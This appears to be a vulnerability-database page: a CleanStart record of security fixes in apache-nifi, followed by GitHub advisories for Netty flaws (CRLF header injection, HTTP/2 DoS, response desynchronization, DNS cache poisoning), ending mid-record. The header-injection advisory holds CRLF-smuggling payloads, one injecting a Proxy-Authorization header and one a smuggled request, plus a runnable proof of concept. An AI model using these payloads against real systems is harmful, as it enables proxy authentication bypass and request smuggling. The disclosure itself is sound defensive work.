Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package apache-nifi version 2.10.0-r1 fixes 31 vulnerabilities: ghsa-x4gw-5cx5-pgmh, ghsa-3qp7-7mw8-wx86, ghsa-f6hv-jmp6-3vwv, ghsa-c2gf-v879-257j, ghsa-cm33-6792-r9fm...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "apache-nifi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.10.0-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.10.0-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package apache-nifi version 2.10.0-r1 fixes 31 vulnerabilities: ghsa-x4gw-5cx5-pgmh, ghsa-3qp7-7mw8-wx86, ghsa-f6hv-jmp6-3vwv, ghsa-c2gf-v879-257j, ghsa-cm33-6792-r9fm...",
"id": "CLEANSTART-2026-ZG52936",
"modified": "2026-07-30T09:35:42Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apache/nifi"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in apache-nifi 2.10.0-r1",
"upstream": [
"ghsa-x4gw-5cx5-pgmh",
"ghsa-3qp7-7mw8-wx86",
"ghsa-f6hv-jmp6-3vwv",
"ghsa-c2gf-v879-257j",
"ghsa-cm33-6792-r9fm",
"ghsa-mj4r-2hfc-f8p6",
"ghsa-rwm7-x88c-3g2p",
"ghsa-5x3r-wrvg-rp6q",
"ghsa-xmv7-r254-6q78",
"ghsa-57rv-r2g8-2cj3",
"ghsa-xxqh-mfjm-7mv9",
"ghsa-m4cv-j2px-7723",
"ghsa-5pvg-856g-cp85",
"ghsa-676x-f7gg-47vc",
"ghsa-cmm3-54f8-px4j",
"ghsa-563q-j3cm-6jxm",
"ghsa-v8h7-rr48-vmmv",
"ghsa-c653-97m9-rcg9",
"ghsa-38f8-5428-x5cv",
"ghsa-45q3-82m4-75jr",
"ghsa-hvcg-qmg6-jm4c",
"ghsa-cq4q-cv5g-r8q5",
"ghsa-w573-9ffj-6ff9",
"CVE-2026-10532",
"CVE-2026-9828",
"CVE-2026-13006",
"CVE-2026-54399",
"CVE-2026-54428",
"CVE-2025-8671",
"CVE-2026-40983",
"CVE-2026-40984"
]
}
GHSA-45Q3-82M4-75JR
Vulnerability from github – Published: 2026-05-07 00:11 – Updated: 2026-05-14 20:40Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions) |
| Component | io.netty.handler.proxy.HttpProxyHandler |
| Vulnerability Type | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |
| Impact | HTTP Header Injection in CONNECT Proxy Requests |
| CVSS 3.1 Score | 7.5 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Related Advisory | GHSA-84h7-rjj3-6jx4 (Incomplete Fix) |
2. Affected Components
io.netty.handler.proxy.HttpProxyHandler—newInitialMessage()method (line 176) explicitly disables header validation viawithValidation(false)
3. Vulnerability Description
Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.
Root Cause
// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
// ...
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, hostHeader);
if (authorization != null) {
req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
}
if (outboundHeaders != null) {
req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION
}
return req;
}
The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.
Incomplete Fix of GHSA-84h7-rjj3-6jx4
This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.
The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:
- The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
- User-provided
outboundHeadersare added without any CRLF check - The resulting CONNECT request contains unvalidated headers on the wire
This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- An application uses
HttpProxyHandlerwith user-influencedoutboundHeaders - The application does not perform its own CRLF sanitization on header values
Common affected patterns: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel
5. Attack Scenarios
Scenario 1: Proxy Authentication Bypass
HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput); // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);
Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="
Wire format:
CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED
The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.
Scenario 2: Request Smuggling via Proxy
Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"
Injects a full smuggled request through the proxy tunnel establishment.
6. Proof of Concept
Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;
public class HttpProxyHeaderInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");
// Simulate HttpProxyHandler.newInitialMessage() with validation=false
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false);
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
"target.com:443",
io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, "target.com:443");
// Inject CRLF in header value
String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
req.headers().set("X-Forwarded-For", malicious);
// Encode to wire format
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
ch.writeOutbound(req);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
System.out.println("VULNERABLE: " +
(encoded.contains("X-Admin: true") ? "YES" : "NO"));
}
}
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HttpProxyHandler Header Injection PoC ===
[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
Header accepted: YES (validation disabled!)
Wire format:
CONNECT target.com:443 HTTP/1.1\r
host: target.com:443\r
X-Forwarded-For: 1.2.3.4\r
X-Forwarded-For: 127.0.0.1\r <-- INJECTED
X-Admin: true\r <-- INJECTED
\r
Injected X-Admin header in wire: true
VULNERABLE: YES
[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
With validation=true:
SAFE: Rejected - IllegalArgumentException
With validation=false:
VULNERABLE: Accepted CRLF in header value!
Stored value contains CRLF: true
7. Remediation Recommendations
Option 1: Remove withValidation(false)
// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();
Option 2: Validate outboundHeaders Before Adding
if (outboundHeaders != null) {
for (Map.Entry<String, String> entry : outboundHeaders) {
HttpUtil.validateHeaderValue(entry.getValue());
}
req.headers().add(outboundHeaders);
}
8. Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42578"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:11:40Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "LOW"
},
"details": "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` \u2014 `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n // ...\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false); // \u003c-- VALIDATION EXPLICITLY DISABLED\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n if (authorization != null) {\n req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n }\n\n if (outboundHeaders != null) {\n req.headers().add(outboundHeaders); // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n }\n\n return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix\u0027s header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class \u2014 it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput); // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4= \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n public static void main(String[] args) {\n System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false);\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n \"target.com:443\",\n io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n // Inject CRLF in header value\n String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n req.headers().set(\"X-Forwarded-For\", malicious);\n\n // Encode to wire format\n EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n ch.writeOutbound(req);\n ByteBuf out = ch.readOutbound();\n String encoded = out.toString(StandardCharsets.UTF_8);\n out.release();\n ch.finishAndReleaseAll();\n\n System.out.println(\"Wire format:\");\n for (String line : encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\"));\n }\n System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n System.out.println(\"VULNERABLE: \" +\n (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n Header accepted: YES (validation disabled!)\n Wire format:\n CONNECT target.com:443 HTTP/1.1\\r\n host: target.com:443\\r\n X-Forwarded-For: 1.2.3.4\\r\n X-Forwarded-For: 127.0.0.1\\r \u003c-- INJECTED\n X-Admin: true\\r \u003c-- INJECTED\n \\r\n\n Injected X-Admin header in wire: true\n VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n With validation=true:\n SAFE: Rejected - IllegalArgumentException\n With validation=false:\n VULNERABLE: Accepted CRLF in header value!\n Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n HttpUtil.validateHeaderValue(entry.getValue());\n }\n req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix \u2014 this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
"id": "GHSA-45q3-82m4-75jr",
"modified": "2026-05-14T20:40:54Z",
"published": "2026-05-07T00:11:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)"
}
GHSA-563Q-J3CM-6JXM
Vulnerability from github – Published: 2026-06-15 20:46 – Updated: 2026-06-15 20:46Summary
Netty HTTP/2 max header size handling produces attack similar to HTTP/2 Rapid Reset.
Details
There is a setting in the http2 specification called SETTINGS_MAX_HEADER_LIST_SIZE. According to the RFC: “This advisory setting informs a peer of the maximum field section size that the sender is prepared to accept, in units of octets.”
When a client sends that setting to Netty, it appears that Netty will behave as follows:
- Read the request
- Proxy the request to the origin
- Attempt to produce a response
- Create an exception while writing the headers for the response
Functionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature.
Remediation
When speaking with clients, Netty should potentially treat this as “advisory” and ignore it. It would be best to ignore the SETTINGS_MAX_HEADER_LIST_SIZE setting from clients (or ignore it when sending to clients). According to the spec, a server does not need to honor this advisory setting, and it appears that other http/2 implementations ignore it when acting as a server.
Impact
This is a DDoS attack similar to the HTTP/2 Rapid Reset Attack.
Credit
Jonathan Looney (Engineering, Netflix)
Contact
Ashley Tolbert (Security, Netflix) - artolbert@netflix.com
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50560"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:46:56Z",
"nvd_published_at": "2026-06-12T16:16:32Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nNetty HTTP/2 max header size handling produces attack similar to HTTP/2 Rapid Reset.\n\n### Details\n\nThere is a setting in the http2 specification called `SETTINGS_MAX_HEADER_LIST_SIZE`. According to[ the RFC](https://www.rfc-editor.org/rfc/rfc9113.html#name-defined-settings): \u201cThis advisory setting informs a peer of the maximum field section size that the sender is prepared to accept, in units of octets.\u201d\n\nWhen a client sends that setting to Netty, it appears that Netty will behave as follows:\n\n- Read the request\n- Proxy the request to the origin\n- Attempt to produce a response\n- Create an exception while writing the headers for the response\n\nFunctionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature.\n\n## Remediation\n\nWhen speaking with clients, Netty should potentially treat this as \u201cadvisory\u201d and ignore it. It would be best to ignore the SETTINGS_MAX_HEADER_LIST_SIZE setting from clients (or ignore it when sending to clients). According to the spec, a server does not need to honor this advisory setting, and it appears that other http/2 implementations ignore it when acting as a server.\n\n### Impact\n\nThis is a DDoS attack similar to the HTTP/2 Rapid Reset Attack.\n\n## Credit\nJonathan Looney (Engineering, Netflix)\n\n## Contact\nAshley Tolbert (Security, Netflix) - artolbert@netflix.com",
"id": "GHSA-563q-j3cm-6jxm",
"modified": "2026-06-15T20:46:56Z",
"published": "2026-06-15T20:46:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-563q-j3cm-6jxm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50560"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc9113.html#name-defined-settings"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty susceptible to HTTP/2 Reset Attack with different on-the-wire signature"
}
GHSA-57RV-R2G8-2CJ3
Vulnerability from github – Published: 2026-05-07 00:21 – Updated: 2026-05-14 20:41Summary
If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.
Details
HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.
Prerequisites - HTTP/1.1 pipelining - HEAD in the pipeline - The server sends 1xx
PoC
@Test
public void test() {
EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
ByteBuf request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
"HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
"HTTP/1.1 200 OK\r\n\r\n";
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));
// Response 1
HttpResponse response = channel.readInbound();
assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
LastHttpContent last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 2
response = channel.readInbound();
assertEquals(HttpResponseStatus.OK, response.status());
last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 3
FullHttpResponse response1 = channel.readInbound();
assertTrue(response1.decoderResult().isFailure());
assertEquals(0, response1.content().readableBytes());
response1.release();
assertFalse(channel.finish());
}
Impact
Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42584"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:21:48Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "HIGH"
},
"details": "### Summary\n If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another\u0027s.\n\n### Details\nHttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message\u2019s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.\n\nPrerequisites \n- HTTP/1.1 pipelining\n- HEAD in the pipeline\n- The server sends 1xx\n\n### PoC\n\n```java\n @Test\n public void test() {\n EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());\n\n assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, \"/1\")));\n ByteBuf request = channel.readOutbound();\n request.release();\n assertNull(channel.readOutbound());\n\n assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, \"/2\")));\n request = channel.readOutbound();\n request.release();\n assertNull(channel.readOutbound());\n\n String responseStr = \"HTTP/1.1 103 Early Hints\\r\\n\\r\\n\" +\n \"HTTP/1.1 200 OK\\r\\nContent-Length: 5\\r\\n\\r\\nhello\" +\n \"HTTP/1.1 200 OK\\r\\n\\r\\n\";\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));\n\n // Response 1\n HttpResponse response = channel.readInbound();\n assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());\n LastHttpContent last = channel.readInbound();\n assertEquals(0, last.content().readableBytes());\n last.release();\n\n // Response 2\n response = channel.readInbound();\n assertEquals(HttpResponseStatus.OK, response.status());\n last = channel.readInbound();\n assertEquals(0, last.content().readableBytes());\n last.release();\n\n // Response 3\n FullHttpResponse response1 = channel.readInbound();\n assertTrue(response1.decoderResult().isFailure());\n assertEquals(0, response1.content().readableBytes());\n response1.release();\n\n assertFalse(channel.finish());\n }\n```\n\n### Impact\nIntegrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.",
"id": "GHSA-57rv-r2g8-2cj3",
"modified": "2026-05-14T20:41:17Z",
"published": "2026-05-07T00:21:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty has HttpClientCodec response desynchronization"
}
GHSA-5PVG-856G-CP85
Vulnerability from github – Published: 2026-06-08 23:02 – Updated: 2026-08-04 15:32Summary
Netty's DnsResolveContext insufficiently validates the bailiwick of NS records, enabling DNS Cache Poisoning. An attacker controlling an authoritative name server for a subdomain can poison the cache for parent domains (like .co.uk).
Details
In io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#add method accepts any NS record from the AUTHORITY section as long as the record's name is a suffix of the questionName.
This means if the resolver queries evil.co.uk., it will accept an NS record claiming authority over co.uk.. Subsequently, the handleWithAdditional method caches the associated A records from the ADDITIONAL section directly into the authoritativeDnsServerCache under the parent domain's key (co.uk.). This bypasses standard bailiwick rules, where a server authoritative for a subdomain should not be trusted to provide authoritative records for its parent. The poisoned cache is then used for all future resolutions under co.uk..
The io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#cache method only prevents caching if the record is for the root zone (dots == 1).
Impact
DNS Cache Poisoning. Any application using Netty's DNS resolver is impacted.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
